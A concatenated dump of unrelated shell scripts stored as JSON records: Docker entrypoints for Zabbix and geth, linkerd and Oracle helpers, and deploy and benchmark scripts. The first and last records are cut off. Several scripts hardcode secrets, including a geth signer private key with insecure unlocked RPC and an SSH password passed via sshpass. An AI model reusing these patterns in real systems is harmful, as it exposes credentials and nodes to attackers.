PGOPTIONS=\"--search_path=${DB_SERVER_SCHEMA}\"\n export PGOPTIONS\n fi\n\n if [ -n \"${ZBX_DBTLSCONNECT}\" ]; then\n export PGSSLMODE=${ZBX_DBTLSCONNECT//_/-}\n export PGSSLROOTCERT=${ZBX_DBTLSCAFILE}\n export PGSSLCERT=${ZBX_DBTLSCERTFILE}\n export PGSSLKEY=${ZBX_DBTLSKEYFILE}\n fi\n\n zcat /usr/share/doc/zabbix-server-postgresql/create.sql.gz | psql --quiet \\\n --host \"${DB_SERVER_HOST}\" --port \"${DB_SERVER_PORT}\" \\\n --username \"${DB_SERVER_ZBX_USER}\" --dbname \"${DB_SERVER_DBNAME}\" 1>/dev/null || exit 1\n\n if [ \"${ENABLE_TIMESCALEDB,,}\" == \"true\" ]; then\n cat /usr/share/doc/zabbix-server-postgresql/timescaledb.sql | psql --quiet \\\n --host ${DB_SERVER_HOST} --port ${DB_SERVER_PORT} \\\n --username ${DB_SERVER_ZBX_USER} --dbname ${DB_SERVER_DBNAME} 1>/dev/null || exit 1\n fi\n\n unset PGPASSWORD\n unset PGOPTIONS\n unset PGSSLMODE\n unset PGSSLROOTCERT\n unset PGSSLCERT\n unset PGSSLKEY\n fi\n}\n\nupdate_zbx_config() {\n local type=$1\n local db_type=$2\n\n echo \"** Preparing Zabbix server configuration file\"\n\n ZBX_CONFIG=$ZABBIX_ETC_DIR/zabbix_server.conf\n\n update_config_var $ZBX_CONFIG \"ListenIP\" \"${ZBX_LISTENIP}\"\n update_config_var $ZBX_CONFIG \"ListenPort\" \"${ZBX_LISTENPORT}\"\n\n update_config_var $ZBX_CONFIG \"SourceIP\" \"${ZBX_SOURCEIP}\"\n update_config_var $ZBX_CONFIG \"LogType\" \"console\"\n update_config_var $ZBX_CONFIG \"LogFile\"\n update_config_var $ZBX_CONFIG \"LogFileSize\"\n update_config_var $ZBX_CONFIG \"PidFile\"\n\n update_config_var $ZBX_CONFIG \"DebugLevel\" \"${ZBX_DEBUGLEVEL}\"\n\n if [ -n \"${ZBX_DBTLSCONNECT}\" ]; then\n update_config_var $ZBX_CONFIG \"DBTLSConnect\" \"${ZBX_DBTLSCONNECT}\"\n update_config_var $ZBX_CONFIG \"DBTLSCAFile\" \"${ZBX_DBTLSCAFILE}\"\n update_config_var $ZBX_CONFIG \"DBTLSCertFile\" \"${ZBX_DBTLSCERTFILE}\"\n update_config_var $ZBX_CONFIG \"DBTLSKeyFile\" \"${ZBX_DBTLSKEYFILE}\"\n update_config_var $ZBX_CONFIG \"DBTLSCipher\" \"${ZBX_DBTLSCIPHER}\"\n update_config_var $ZBX_CONFIG \"DBTLSCipher13\" \"${ZBX_DBTLSCIPHER13}\"\n fi\n\n update_config_var $ZBX_CONFIG \"DBHost\" \"${DB_SERVER_HOST}\"\n update_config_var $ZBX_CONFIG \"DBName\" \"${DB_SERVER_DBNAME}\"\n update_config_var $ZBX_CONFIG \"DBSchema\" \"${DB_SERVER_SCHEMA}\"\n update_config_var $ZBX_CONFIG \"DBPort\" \"${DB_SERVER_PORT}\"\n\n if [ -n \"${VAULT_TOKEN}\" ]; then\n update_config_var $ZBX_CONFIG \"VaultDBPath\" \"${ZBX_VAULTDBPATH}\"\n update_config_var $ZBX_CONFIG \"VaultURL\" \"${ZBX_VAULTURL}\"\n update_config_var $ZBX_CONFIG \"DBUser\"\n update_config_var $ZBX_CONFIG \"DBPassword\"\n else\n update_config_var $ZBX_CONFIG \"VaultDBPath\"\n update_config_var $ZBX_CONFIG \"VaultURL\"\n update_config_var $ZBX_CONFIG \"DBUser\" \"${DB_SERVER_ZBX_USER}\"\n update_config_var $ZBX_CONFIG \"DBPassword\" \"${DB_SERVER_ZBX_PASS}\"\n fi\n\n update_config_var $ZBX_CONFIG \"StartReportWriters\" \"${ZBX_STARTREPORTWRITERS}\"\n : ${ZBX_WEBSERVICEURL:=\"http://zabbix-web-service:10053/report\"}\n update_config_var $ZBX_CONFIG \"WebServiceURL\" \"${ZBX_WEBSERVICEURL}\"\n\n update_config_var $ZBX_CONFIG \"HistoryStorageURL\" \"${ZBX_HISTORYSTORAGEURL}\"\n update_config_var $ZBX_CONFIG \"HistoryStorageTypes\" \"${ZBX_HISTORYSTORAGETYPES}\"\n update_config_var $ZBX_CONFIG \"HistoryStorageDateIndex\" \"${ZBX_HISTORYSTORAGEDATEINDEX}\"\n\n update_config_var $ZBX_CONFIG \"DBSocket\" \"${DB_SERVER_SOCKET}\"\n\n update_config_var $ZBX_CONFIG \"StatsAllowedIP\" \"${ZBX_STATSALLOWEDIP}\"\n\n update_config_var $ZBX_CONFIG \"StartPollers\" \"${ZBX_STARTPOLLERS}\"\n update_config_var $ZBX_CONFIG \"StartIPMIPollers\" \"${ZBX_IPMIPOLLERS}\"\n update_config_var $ZBX_CONFIG \"StartPollersUnreachable\" \"${ZBX_STARTPOLLERSUNREACHABLE}\"\n update_config_var $ZBX_CONFIG \"StartTrappers\" \"${ZBX_STARTTRAPPERS}\"\n update_config_var $ZBX_CONFIG \"StartPingers\" \"${ZBX_STARTPINGERS}\"\n update_config_var $ZBX_CONFIG \"StartDiscoverers\" \"${ZBX_STARTDISCOVERERS}\"\n update_config_var $ZBX_CONFIG \"StartHistoryPollers\" \"${ZBX_STARTHISTORYPOLLERS}\"\n update_config_var $ZBX_CONFIG \"StartHTTPPollers\" \"${ZBX_STARTHTTPPOLLERS}\"\n\n update_config_var $ZBX_CONFIG \"StartPreprocessors\" \"${ZBX_STARTPREPROCESSORS}\"\n update_config_var $ZBX_CONFIG \"StartTimers\" \"${ZBX_STARTTIMERS}\"\n update_config_var $ZBX_CONFIG \"StartEscalators\" \"${ZBX_STARTESCALATORS}\"\n update_config_var $ZBX_CONFIG \"StartAlerters\" \"${ZBX_STARTALERTERS}\"\n\n update_config_var $ZBX_CONFIG \"StartTimers\" \"${ZBX_STARTTIMERS}\"\n update_config_var $ZBX_CONFIG \"StartEscalators\" \"${ZBX_STARTESCALATORS}\"\n\n update_config_var $ZBX_CONFIG \"StartLLDProcessors\" \"${ZBX_STARTLLDPROCESSORS}\"\n\n : ${ZBX_JAVAGATEWAY_ENABLE:=\"false\"}\n if [ \"${ZBX_JAVAGATEWAY_ENABLE,,}\" == \"true\" ]; then\n update_config_var $ZBX_CONFIG \"JavaGateway\" \"${ZBX_JAVAGATEWAY:-\"zabbix-java-gateway\"}\"\n update_config_var $ZBX_CONFIG \"JavaGatewayPort\" \"${ZBX_JAVAGATEWAYPORT}\"\n update_config_var $ZBX_CONFIG \"StartJavaPollers\" \"${ZBX_STARTJAVAPOLLERS:-\"5\"}\"\n else\n update_config_var $ZBX_CONFIG \"JavaGateway\"\n update_config_var $ZBX_CONFIG \"JavaGatewayPort\"\n update_config_var $ZBX_CONFIG \"StartJavaPollers\"\n fi\n\n update_config_var $ZBX_CONFIG \"StartVMwareCollectors\" \"${ZBX_STARTVMWARECOLLECTORS}\"\n update_config_var $ZBX_CONFIG \"VMwareFrequency\" \"${ZBX_VMWAREFREQUENCY}\"\n update_config_var $ZBX_CONFIG \"VMwarePerfFrequency\" \"${ZBX_VMWAREPERFFREQUENCY}\"\n update_config_var $ZBX_CONFIG \"VMwareCacheSize\" \"${ZBX_VMWARECACHESIZE}\"\n update_config_var $ZBX_CONFIG \"VMwareTimeout\" \"${ZBX_VMWARETIMEOUT}\"\n\n : ${ZBX_ENABLE_SNMP_TRAPS:=\"false\"}\n if [ \"${ZBX_ENABLE_SNMP_TRAPS,,}\" == \"true\" ]; then\n update_config_var $ZBX_CONFIG \"SNMPTrapperFile\" \"${ZABBIX_USER_HOME_DIR}/snmptraps/snmptraps.log\"\n update_config_var $ZBX_CONFIG \"StartSNMPTrapper\" \"1\"\n else\n update_config_var $ZBX_CONFIG \"SNMPTrapperFile\"\n update_config_var $ZBX_CONFIG \"StartSNMPTrapper\"\n fi\n\n update_config_var $ZBX_CONFIG \"HousekeepingFrequency\" \"${ZBX_HOUSEKEEPINGFREQUENCY}\"\n\n update_config_var $ZBX_CONFIG \"MaxHousekeeperDelete\" \"${ZBX_MAXHOUSEKEEPERDELETE}\"\n update_config_var $ZBX_CONFIG \"SenderFrequency\" \"${ZBX_SENDERFREQUENCY}\"\n\n update_config_var $ZBX_CONFIG \"CacheSize\" \"${ZBX_CACHESIZE}\"\n\n update_config_var $ZBX_CONFIG \"CacheUpdateFrequency\" \"${ZBX_CACHEUPDATEFREQUENCY}\"\n\n update_config_var $ZBX_CONFIG \"StartDBSyncers\" \"${ZBX_STARTDBSYNCERS}\"\n update_config_var $ZBX_CONFIG \"HistoryCacheSize\" \"${ZBX_HISTORYCACHESIZE}\"\n update_config_var $ZBX_CONFIG \"HistoryIndexCacheSize\" \"${ZBX_HISTORYINDEXCACHESIZE}\"\n\n update_config_var $ZBX_CONFIG \"TrendCacheSize\" \"${ZBX_TRENDCACHESIZE}\"\n update_config_var $ZBX_CONFIG \"ValueCacheSize\" \"${ZBX_VALUECACHESIZE}\"\n\n update_config_var $ZBX_CONFIG \"Timeout\" \"${ZBX_TIMEOUT}\"\n update_config_var $ZBX_CONFIG \"TrapperTimeout\" \"${ZBX_TRAPPERTIMEOUT}\"\n update_config_var $ZBX_CONFIG \"UnreachablePeriod\" \"${ZBX_UNREACHABLEPERIOD}\"\n update_config_var $ZBX_CONFIG \"UnavailableDelay\" \"${ZBX_UNAVAILABLEDELAY}\"\n update_config_var $ZBX_CONFIG \"UnreachableDelay\" \"${ZBX_UNREACHABLEDELAY}\"\n\n update_config_var $ZBX_CONFIG \"AlertScriptsPath\" \"/usr/lib/zabbix/alertscripts\"\n update_config_var $ZBX_CONFIG \"ExternalScripts\" \"/usr/lib/zabbix/externalscripts\"\n\n if [ -n \"${ZBX_EXPORTFILESIZE}\" ]; then\n update_config_var $ZBX_CONFIG \"ExportDir\" \"$ZABBIX_USER_HOME_DIR/export/\"\n update_config_var $ZBX_CONFIG \"ExportFileSize\" \"${ZBX_EXPORTFILESIZE}\"\n update_config_var $ZBX_CONFIG \"ExportType\" \"${ZBX_EXPORTTYPE}\"\n fi\n\n update_config_var $ZBX_CONFIG \"FpingLocation\" \"/usr/bin/fping\"\n update_config_var $ZBX_CONFIG \"Fping6Location\" \"/usr/bin/fping6\"\n\n update_config_var $ZBX_CONFIG \"SSHKeyLocation\" \"$ZABBIX_USER_HOME_DIR/ssh_keys\"\n update_config_var $ZBX_CONFIG \"LogSlowQueries\" \"${ZBX_LOGSLOWQUERIES}\"\n\n update_config_var $ZBX_CONFIG \"StartProxyPollers\" \"${ZBX_STARTPROXYPOLLERS}\"\n update_config_var $ZBX_CONFIG \"ProxyConfigFrequency\" \"${ZBX_PROXYCONFIGFREQUENCY}\"\n update_config_var $ZBX_CONFIG \"ProxyDataFrequency\" \"${ZBX_PROXYDATAFREQUENCY}\"\n\n update_config_var $ZBX_CONFIG \"SSLCertLocation\" \"$ZABBIX_USER_HOME_DIR/ssl/certs/\"\n update_config_var $ZBX_CONFIG \"SSLKeyLocation\" \"$ZABBIX_USER_HOME_DIR/ssl/keys/\"\n update_config_var $ZBX_CONFIG \"SSLCALocation\" \"$ZABBIX_USER_HOME_DIR/ssl/ssl_ca/\"\n update_config_var $ZBX_CONFIG \"LoadModulePath\" \"$ZABBIX_USER_HOME_DIR/modules/\"\n update_config_multiple_var $ZBX_CONFIG \"LoadModule\" \"${ZBX_LOADMODULE}\"\n\n update_config_var $ZBX_CONFIG \"TLSCAFile\" \"${ZBX_TLSCAFILE}\"\n update_config_var $ZBX_CONFIG \"TLSCRLFile\" \"${ZBX_TLSCRLFILE}\"\n\n update_config_var $ZBX_CONFIG \"TLSCertFile\" \"${ZBX_TLSCERTFILE}\"\n update_config_var $ZBX_CONFIG \"TLSCipherAll\" \"${ZBX_TLSCIPHERALL}\"\n update_config_var $ZBX_CONFIG \"TLSCipherAll13\" \"${ZBX_TLSCIPHERALL13}\"\n update_config_var $ZBX_CONFIG \"TLSCipherCert\" \"${ZBX_TLSCIPHERCERT}\"\n update_config_var $ZBX_CONFIG \"TLSCipherCert13\" \"${ZBX_TLSCIPHERCERT13}\"\n update_config_var $ZBX_CONFIG \"TLSCipherPSK\" \"${ZBX_TLSCIPHERPSK}\"\n update_config_var $ZBX_CONFIG \"TLSCipherPSK13\" \"${ZBX_TLSCIPHERPSK13}\"\n update_config_var $ZBX_CONFIG \"TLSKeyFile\" \"${ZBX_TLSKEYFILE}\"\n\n update_config_var $ZBX_CONFIG \"TLSPSKIdentity\" \"${ZBX_TLSPSKIDENTITY}\"\n update_config_var $ZBX_CONFIG \"TLSPSKFile\" \"${ZBX_TLSPSKFILE}\"\n\n if [ \"$(id -u)\" != '0' ]; then\n update_config_var $ZBX_CONFIG \"User\" \"$(whoami)\"\n else\n update_config_var $ZBX_CONFIG \"AllowRoot\" \"1\"\n fi\n}\n\nprepare_server() {\n echo \"** Preparing Zabbix server\"\n\n check_variables_postgresql\n check_db_connect_postgresql\n create_db_database_postgresql\n create_db_schema_postgresql\n\n update_zbx_config\n}\n\n#################################################\n\nif [ \"${1#-}\" != \"$1\" ]; then\n set -- /usr/sbin/zabbix_server \"$@\"\nfi\n\nif [ \"$1\" == '/usr/sbin/zabbix_server' ]; then\n prepare_server\nfi\n\nexec \"$@\"\n\n#################################################"} {"text": "#!/bin/bash\n\n#python ./Analysis/read.py\n#python ./Analysis/correlationbo.py\n#python ./Analysis/PLV.py\n#python ./Analysis/coherence.py\n#python ./Analysis/Correlation_SurfPlot.py\n#python ./Analysis/Clustering_own.py\n#python ./Analysis/XCorr_mean.py >> \" \" >> Output_${Num_seed}/OrderParameter/OP_alpha_${Num_alpha}_beta_${Num_beta}.dat\n#python ./Analysis/Autocorrelation.py\n#python ./Analysis/Regularity_List.py\n#python ./Analysis/Regularity_New.py\n#python ./Analysis/Generalized_sync_surfplot.py\n#python ./Analysis/Multiplication_Substraction_Cross_Correlation_Regularity_Cross_Correlation_PLV.py\n#python ./Analysis/PLV_SurfPlot.py\n#python ./Analysis/Delay_SurfPlot.py\n#python ./Analysis/Classification_Types_of_Synchronization_Pairs.py\n#python ./Analysis/CLUSTERING/Sum_Clusters.py\n#gnuplot./Analysis/Plot_Corr_vs_Pair.gnu"} {"text": "run.sh1-10\n#!/bin/bash -\n#===============================================================================\n#\n# FILE: run.sh\n#\n# USAGE: ./run.sh\n#\n# DESCRIPTION: simple wrapper for my twitter autoposter\n#\n# OPTIONS: ---\n# REQUIREMENTS: see Makefile\n# BUGS: ---\n# NOTES: ---\n# AUTHOR: (jtprogru), <>\n# ORGANIZATION: SysOps\n# CREATED: 04/15/2021 21:07\n# REVISION:\n#===============================================================================\n\nset -e -o nounset # Treat unset variables as an error\n\nDATE=$(LC_ALL=\"en_US.UTF-8\" date +\"%Y-%m-%dT%H:%M\")\n\nSCRIPT=$(basename \"$0\")\nLOG_FILE_NAME=\"twitterbot.log\"\n\necho \"${SCRIPT} ${DATE} Change directory\" >> ${LOG_FILE_NAME}\ncd ${WPDIRPY}/twitter-excuse/\n\necho \"${SCRIPT} ${DATE} Loading enviroment\" >> ${LOG_FILE_NAME}\n\n# source ../venv/bin/activate\n\nsource .env\n\necho \"${SCRIPT} ${DATE} Enviroment loaded\" >> ${LOG_FILE_NAME}\n\necho \"${SCRIPT} ${DATE} RUN!\" >> ${LOG_FILE_NAME}\n\npoetry run twit\n\necho \"${SCRIPT} ${DATE} Done!\" >> ${LOG_FILE_NAME}\n\n# deactivate\n\nexit 0"} {"text": "0\n#!/bin/bash\n\nset -Cuex\n\nif [[ -d /tmp/csr ]];then\n envsubst '$$VALIDATOR_FILE_NAME$$VALIDATOR_PATH$$FQDN' < /tmp/csr/http.tmp.conf > /etc/nginx/conf.d/http.conf\n\n rm -rf /tmp/csr\nfi\n\nnginx -g 'daemon off;'"} {"text": "exec_scripts/rebuild.sh\n#!/bin/bash\n\n# downloads bam if necessary, and builds server from source,\n# does not clean previous build data.\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null && pwd )\"\n. $DIR/function_variable_definitions.sh --source-only\n\n\ncheck_build_bam\nretrieve_cores\n\nif [[ $1 == \"-d\" ]]; then\n build_debug_server\nelse\n build_server\nfi"} {"text": "#!/bin/bash\n\n## get into the \"build_scripts\" folder regardless of the excution directory\nparent_path=$( cd \"$(dirname \"${BASH_SOURCE[0]}\")\" ; pwd -P )\ncd \"$parent_path/..\"\n\n## compile the doc\nnode ./build_scripts/prebuild-doc.js\ngitbook build ./docs-src ./docs\n\n## push the doc into github\ngit add ./docs\ngit commit -m 'building docs'\ngit push origin"} {"text": ".github/scripts/update-tag.bash\n#!/usr/bin/env bash\n\nset -e\nset -u\nset -o pipefail\n\nmaster_ref=\"$(git rev-parse \"$DEFAULT_BRANCH\")\"\nmaster_ref_short=\"$(git rev-parse --short \"$DEFAULT_BRANCH\")\"\n\ncurl -X PATCH \\\n\t-H \"accept: application/vnd.github.dorian-preview+json\" \\\n\t-H \"content-type: application/json\" \\\n\t-H \"authorization: token $GITHUB_ACCESS_TOKEN\" \\\n\t-d \"{\\\"sha\\\": \\\"$master_ref\\\", \\\"force\\\": true}\" \\\n\t\"https://api.github.com/repos/$REPOSITORY/git/refs/tags/latest\"\n\ncurl -X PATCH \\\n\t-H \"accept: application/vnd.github.dorian-preview+json\" \\\n\t-H \"content-type: application/json\" \\\n\t-H \"authorization: token $GITHUB_ACCESS_TOKEN\" \\\n\t-d \"{\\\"name\\\": \\\"Latest Release ($master_ref_short)\\\"}\" \\\n\t\"https://api.github.com/repos/$REPOSITORY/releases/$TARGET_RELEASE_ID\""} {"text": "#!/bin/sh\n\nif [ -z \"$SCRIPTS_DIR\" ]\nthen\n\techo \"No SCRIPTS_DIR set\"\n\texit 1\nfi\n\nMESSAGE=\"Restarting server in one minute!\"\n$SCRIPTS_DIR/send_discord_message.sh \"$MESSAGE\"\n\nsleep 60\n\nMESSAGE=\"Server is restarting now!\"\n$SCRIPTS_DIR/send_discord_message.sh \"$MESSAGE\""} {"text": "#!/bin/bash\ncp ./example_file.input ./example_file.result"} {"text": "#! /bin/sh\n\nstart-stop-daemon -q -m --oknodo --start --exec /main --pidfile /pid --background\nsleep 1\nstart-stop-daemon -q --stop --pidfile /pid\nsleep 1\necho trace\ncat trace \necho ---\necho log\ncat foo.log\necho ---\necho stderr\ncat stderr-panic.log"} {"text": "#!/bin/bash\n\necho \"arguments fps output_file image_type\"\n\nls -v --format=single-column *.$3 > list.txt\n\nmencoder mf://@list.txt -mf fps=$1:type=$3 -ovc x264 -x264encopts crf=20 -oac copy -o $2\n# mencoder mf://@list.txt -mf fps=$1:type=$3 -ovc lavc -lavcopts vcodec=wmv2 -oac copy -o $2\n# mencoder mf://@list.txt -mf fps=$1:type=$3 -ovc x264 -x264encopts bitrate=800:pass=1 -oac copy -o $2\n# mencoder mf://@list.txt -mf fps=$1:type=$3 -ovc x264 -x264encopts bitrate=800:pass=2 -oac copy -o $2\n\nrm list.txt"} {"text": "#!/bin/bash\n# Current Pre Reqs: Install Azure CLI, then run AZ Login. Must be run in WSL or on Linux.\nset -x\nversion=1.0\necho \"Nagbot-Gitops Deployment Version: $version\"\n\n\n#Deploy flux via YML\nkubectl apply -f ./deploy/fluxDeploy\n\n#Install fluxCTL\ncurl -L https://github.com/weaveworks/flux/releases/download/1.12.0/fluxctl_linux_amd64 -o /usr/local/bin/fluxctl\nchmod a+x /usr/local/bin/fluxctl\n\n# The flux identiy key\nsleep 30\nfluxctl identity"} {"text": "0\n#!/bin/sh\r\n\r\n# About set options https://www.tldp.org/LDP/abs/html/options.html\r\nset -o errexit\r\nset -o nounset\r\n\r\nreadonly RSYSLOG_PID=\"/var/run/rsyslogd.pid\"\r\n\r\nmain() {\r\n start_rsyslogd\r\n start_lb \"$@\"\r\n}\r\n\r\nstart_rsyslogd() {\r\n rm -f $RSYSLOG_PID\r\n rsyslogd\r\n}\r\n\r\nstart_lb() {\r\n # Add a couple useful flags\r\n # -W -- \"master-worker mode\" (similar to the old \"haproxy-systemd-wrapper\"; allows for reload via \"SIGUSR2\")\r\n # -db -- disables background mode\r\n exec haproxy -W -db \"$@\"\r\n}\r\n\r\nmain \"$@\""} {"text": "#!/bin/sh\n\nLINKERD_PID=/tmp/linkerd.pid\nWAIT=10\n\nstart_linkerd() {\n echo -e \"\\nWaiting for linkerd to start: $1\"\n $L5D_EXEC $1 &\n echo $! > $LINKERD_PID\n echo -e \"Starting linkerd on pid $(cat $LINKERD_PID)\"\n\n for i in $(seq $WAIT); do\n\n pong=$(curl -s localhost:9990/admin/ping)\n if [ \"$pong\" = \"pong\" ]; then\n echo \"Startup complete on pid $(cat $LINKERD_PID)\"\n return 0\n fi\n\n printf \".\"\n sleep 1\n done\n\n echo \"Could not start linkerd on pid $(cat $LINKERD_PID)\"\n return 1\n}\n\nshutdown_linkerd() {\n echo \"Waiting for linkerd to shutdown on pid $(cat $LINKERD_PID)\"\n curl -s -X POST localhost:9990/admin/shutdown\n\n for i in $(seq $WAIT); do\n pong=$(curl -s localhost:9990/admin/ping)\n if [ \"$pong\" = \"pong\" ]; then\n printf \".\"\n sleep 1\n else\n echo \"Shutdown complete on pid $(cat $LINKERD_PID)\"\n rm -f $LINKERD_PID\n return 0\n fi\n done\n\n echo \"Could not shutdown linkerd, forcing on pid $(cat $LINKERD_PID)\"\n kill -9 \"$(cat $LINKERD_PID)\"\n for i in $(seq $WAIT); do\n if ps -o pid|grep $(cat $LINKERD_PID) > /dev/null; then\n printf \".\"\n sleep 1\n else\n echo \"Forced shutdown complete on pid $(cat $LINKERD_PID)\"\n rm -f $LINKERD_PID\n return 0\n fi\n done\n\n echo \"Could not force shutdown linkerd on pid $(cat $LINKERD_PID)\"\n return 1\n}\n\ntest_config() {\n if ! start_linkerd $1 ; then\n echo \"Could not start linkerd with $1\"\n exit 1\n fi\n\n if ! shutdown_linkerd ; then\n echo \"Could not shutdown linkerd with $1\"\n exit 1\n fi\n}\n\ncp -a ~/linkerd-examples/add-steps/disco /\ntest_config ~/linkerd-examples/add-steps/linkerd.yml\n\ntest_config ~/linkerd-examples/consul/linkerd.yml\n\ntest_config ~/linkerd-examples/dcos/ingress/linkerd-config.yml\ntest_config ~/linkerd-examples/dcos/linker-to-linker/linkerd-config.yml\ntest_config ~/linkerd-examples/dcos/linker-to-linker-with-namerd/linkerd-config.yml\ntest_config ~/linkerd-examples/dcos/linkerd-with-namerd/linkerd-config.yml\ntest_config ~/linkerd-examples/dcos/simple-proxy/linkerd-config.yml\n\ncp -a ~/linkerd-examples/failure-accrual/disco /\ntest_config ~/linkerd-examples/failure-accrual/linkerd.yml\n\ncp -a ~/linkerd-examples/getting-started/docker/disco /io.buoyant/\ntest_config ~/linkerd-examples/getting-started/docker/linkerd.yaml\n\ncp -a ~/linkerd-examples/getting-started/docker/disco .\ntest_config ~/linkerd-examples/getting-started/local/linkerd.yaml\n\ntest_config ~/linkerd-examples/gob/config/linkerd.yml\ntest_config ~/linkerd-examples/gob/dcos/linkerd-dcos-gob.yaml\n\ntest_config ~/linkerd-examples/http-proxy/linkerd.yaml\n\ncp -a ~/linkerd-examples/influxdb/disco /\ntest_config ~/linkerd-examples/influxdb/linkerd1.yml\ntest_config ~/linkerd-examples/influxdb/linkerd2.yml\n\ntest_config ~/linkerd-examples/linkerd-tcp/linkerd.yml\n\ntest_config ~/linkerd-examples/mesos-marathon/linkerd-config.yml\n\necho \"All test completed successfully\""} {"text": "#!/bin/bash\n# Copyright 2017 . All rights reserved.\n# Use of this source code is governed under the Apache License, Version 2.0\n# that can be found in the LICENSE file.\n\nset -eu\n\nif [ $# != 2 ]; then\n echo \"usage: setup.sh \"\n exit 1\nfi\n\ncd \"$(dirname $0)\"\n\ngo install -v ./cmd/...\n\nAS_USER=${USER}\nBIN=\"$(which serve-mp4)\"\nCMD=\"$BIN -root $1 -http $2\"\n\nsudo tee /etc/systemd/system/serve-mp4.service > /dev/null <ops/entrypoint.sh0\n#!/bin/sh\nset -exu\n\nVERBOSITY=${GETH_VERBOSITY:-3}\nGETH_DATA_DIR=/db\nGETH_CHAINDATA_DIR=\"$GETH_DATA_DIR/geth/chaindata\"\nGETH_KEYSTORE_DIR=\"$GETH_DATA_DIR/keystore\"\nCHAIN_ID=$(cat /genesis.json | jq -r .config.chainId)\nBLOCK_SIGNER_PRIVATE_KEY=\"3e4bde571b86929bf08e2aaad9a6a1882664cd5e65b96fff7d03e1c4e6dfa15c\"\nBLOCK_SIGNER_ADDRESS=\"0xca062b0fd91172d89bcd4bb084ac4e21972cc467\"\n\nif [ ! -d \"$GETH_KEYSTORE_DIR\" ]; then\n\techo \"$GETH_KEYSTORE_DIR missing, running account import\"\n\techo -n \"pwd\" > \"$GETH_DATA_DIR\"/password\n\techo -n \"$BLOCK_SIGNER_PRIVATE_KEY\" | sed 's/0x//' > \"$GETH_DATA_DIR\"/block-signer-key\n\tgeth account import \\\n\t\t--datadir=\"$GETH_DATA_DIR\" \\\n\t\t--password=\"$GETH_DATA_DIR\"/password \\\n\t\t\"$GETH_DATA_DIR\"/block-signer-key\nelse\n\techo \"$GETH_KEYSTORE_DIR exists.\"\nfi\n\nif [ ! -d \"$GETH_CHAINDATA_DIR\" ]; then\n\techo \"$GETH_CHAINDATA_DIR missing, running init\"\n\techo \"Initializing genesis.\"\n\tgeth --verbosity=\"$VERBOSITY\" init \\\n\t\t--datadir=\"$GETH_DATA_DIR\" \\\n\t\t\"/genesis.json\"\nelse\n\techo \"$GETH_CHAINDATA_DIR exists.\"\nfi\n\nexec geth \\\n\t--datadir=\"$GETH_DATA_DIR\" \\\n\t--verbosity=\"$VERBOSITY\" \\\n\t--http \\\n\t--http.corsdomain=\"*\" \\\n\t--http.vhosts=\"*\" \\\n\t--http.addr=0.0.0.0 \\\n\t--http.port=8545 \\\n\t--ws \\\n\t--ws.addr=0.0.0.0 \\\n\t--ws.port=8546 \\\n\t--ws.origins=\"*\" \\\n\t--ws.api=debug,eth,txpool,net,engine \\\n\t--syncmode=full \\\n\t--nodiscover \\\n\t--maxpeers=1 \\\n\t--networkid=$CHAIN_ID \\\n\t--unlock=$BLOCK_SIGNER_ADDRESS \\\n\t--mine \\\n\t--miner.etherbase=$BLOCK_SIGNER_ADDRESS \\\n\t--password=\"$GETH_DATA_DIR\"/password \\\n\t--allow-insecure-unlock \\\n\t\"$@\""} {"text": "0\n#!/usr/bin/env sh\n\nexit=0\n\nchecked() {\n echo \"$ $@\"\n \"$@\"\n last=\"$?\"\n if [ \"$last\" -ne 0 ]; then\n echo \"$@: exit $last\"\n exit=1\n fi\n}\n\ncd $(dirname \"$0\")/..\n\nchecked pytest\nchecked black --check bin tagbot test\nchecked mypy bin tagbot test\n\nexit $exit"} {"text": "FILESIZE=8192\nlet CHANGESIZE=1024\n\nUNI_TARGET=':~'\nUNI_PASSWD=USA\n\nLAB_TARGET='moslab@10.42.0.1:~/Desktop/server'\nLAB_PASSWD=1\n\nLOC_TARGET='..'\n\ntemp=1\nfor i in `seq 1 14`;\ndo\n\tdd if=/dev/urandom of=$FILESIZE.dat bs=8192 count=$temp status=none\n\tsshpass -p $LAB_PASSWD ./rsync $FILESIZE.dat $LAB_TARGET\n # ./rsync -v -v $FILESIZE.dat $LOC_TARGET --no-whole-file\n\t# echo $FILESIZE\n\tdd if=/dev/urandom of=$CHANGESIZE.dat bs=$CHANGESIZE count=1 status=none\n\t# cat $CHANGESIZE.dat $FILESIZE.dat > temp.dat\n python ../addbyte.py $FILESIZE.dat $CHANGESIZE.dat temp.dat\n # cp -f $FILESIZE.dat temp.dat\n\tsshpass -p $LAB_PASSWD ./rsync temp.dat $LAB_TARGET/$FILESIZE.dat\n # ./rsync temp.dat $LOC_TARGET/$FILESIZE.dat --no-whole-file\n\n \n let temp=$temp*2\n\tlet FILESIZE=$FILESIZE*2\ndone\ndate"} {"text": "#!/bin/sh\nsudo apt-get update\nsudo apt-get install -y libgmp-dev\nmkdir -p ~/.local/bin\nexport PATH=$HOME/.local/bin:$PATH\ncurl -L https://www.stackage.org/stack/linux-x86_64 | tar xz --wildcards --strip-components=1 -C ~/.local/bin '*/stack'"} {"text": "ubuntu/gethwinfo.sh\nlshw -short > ubuntu_hwinfo.txt"} {"text": "0\n#!/bin/bash\nsed s/UIImage/String/g ImageCache.swift > StringCache.swift\nsed -i '' 's/ImageCache/StringCache/g' StringCache.swift\nsed -i '' 's/ImageFetch/StringFetch/g' StringCache.swift\n\nsed s/UIImage/Data/g ImageCache.swift > DataCache.swift\nsed -i '' 's/ImageCache/DataCache/g' DataCache.swift\nsed -i '' 's/ImageFetch/DataFetch/g' DataCache.swift"} {"text": "#!/bin/bash\n# Copied from: https://github.com/oracle/docker-images/blob/master/OracleDatabase/SingleInstance/dockerfiles/18.3.0/checkDBStatus.sh\n\n# LICENSE UPL 1.0\n#\n# Copyright (c) 1982-2018 Oracle and/or its affiliates. All rights reserved.\n#\n# Since: May, 2017\n# Author: \n# Description: Checks the status of Oracle Database.\n# Return codes: 0 = PDB is open and ready to use\n# 1 = PDB is not open\n# 2 = Sql Plus execution failed\n# DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.\n# \n\nORACLE_PDB=\"`ls -dl $ORACLE_BASE/oradata/$ORACLE_SID/*/ | grep -v pdbseed | awk '{print $9}' | cut -d/ -f6`\"\nPOSITIVE_RETURN=\"READ WRITE\"\nORAENV_ASK=NO\nsource oraenv\n\n# Check Oracle DB status and store it in status\nstatus=`su oracle -c '$ORACLE_HOME/bin/sqlplus -s / as sysdba' << EOF\n set heading off;\n set pagesize 0;\n SELECT open_mode FROM v\\\\$pdbs WHERE name COLLATE BINARY_CI = '$ORACLE_PDB';\n 